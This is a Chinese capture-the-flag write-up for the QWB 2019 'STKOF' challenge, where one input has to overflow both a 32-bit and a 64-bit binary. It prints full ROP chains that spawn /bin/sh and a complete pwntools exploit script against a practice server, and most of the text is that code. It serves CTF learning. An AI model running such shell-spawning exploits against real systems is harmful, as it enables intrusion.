强网杯2019 拟态 STKOF
可以看到此题有给了我们两个附件 我开题的时候是一脸懵逼完全没有头绪
简单的checksec一下发现两个附件一个是32位程序 1个是64位程序
然后放进ida和ida64里面看看 十分相似的 且都是十分简单的栈溢出漏洞
实在没什么头绪 上网搜一下后恍然大悟,原来是要求我们用同一个脚本既能打通32位有能打通64位
那我们仔细审查以下代码发现溢出长度不一样 一个是0x110(32位)一个是0x118(64位)
首先我们先用ropchain来分别生成这两者的payload
p = ''
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9064) # @ .data + 4
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ; ret
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x080d9060) # padding without overwrite ebx
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x080495a3) # int 0x80
payload32=p
p = ''
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p += pack('<Q', 0x00000000006a10e0) # @ .data
p += pack('<Q', 0x000000000043b97c) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004005f6) # pop rdi ; ret
p += pack('<Q', 0x00000000006a10e0) # @ .data
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p += pack('<Q', 0x000000000043b9d5) # pop rdx ; ret
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004610a0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000461645) # syscall ; ret
payload64=p
然后由于两者的溢出长度不一样 那么我们就可以通过add_esp和add_rsp这两者让pwn32和pwn64分别跳转到不同的ropchain中 达成执行system(“/bin/sh”)的效果
add_esp = 0x080a8f69 # add esp, 0xc ; ret
add_rsp = 0x00000000004079d4 # add rsp, 0xd8 ; ret
完整exp
from pwn import *
from struct import pack
io = remote('node4.buuoj.cn', 27638)
p = b''
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9064) # @ .data + 4
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ; ret
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x080d9060) # padding without overwrite ebx
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ; ret
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += p32(0xb)
p += pack('<I', 0x080495a3) # int 0x80
payload32 = p
p = b''
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p += pack('<Q', 0x00000000006a10e0) # @ .data
p += pack('<Q', 0x000000000043b97c) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004005f6) # pop rdi ; ret
p += pack('<Q', 0x00000000006a10e0) # @ .data
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p += pack('<Q', 0x000000000043b9d5) # pop rdx ; ret
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000043b97c) # pop rax ; ret
p += p64(0x3b)
p += pack('<Q', 0x00000000004011dc) # syscall
payload64 = p
add_esp = 0x080a8f69 # add esp, 0xc ; ret
add_rsp = 0x00000000004079d4 # add rsp, 0xd8 ; ret
payload = b'a'.ljust(0x110, b'\x00') + p32(add_esp) + b'a' * 4 + p64(add_rsp) + payload32.ljust(0xd8,b'\x00') + payload64
io.sendline(payload)
io.interactive()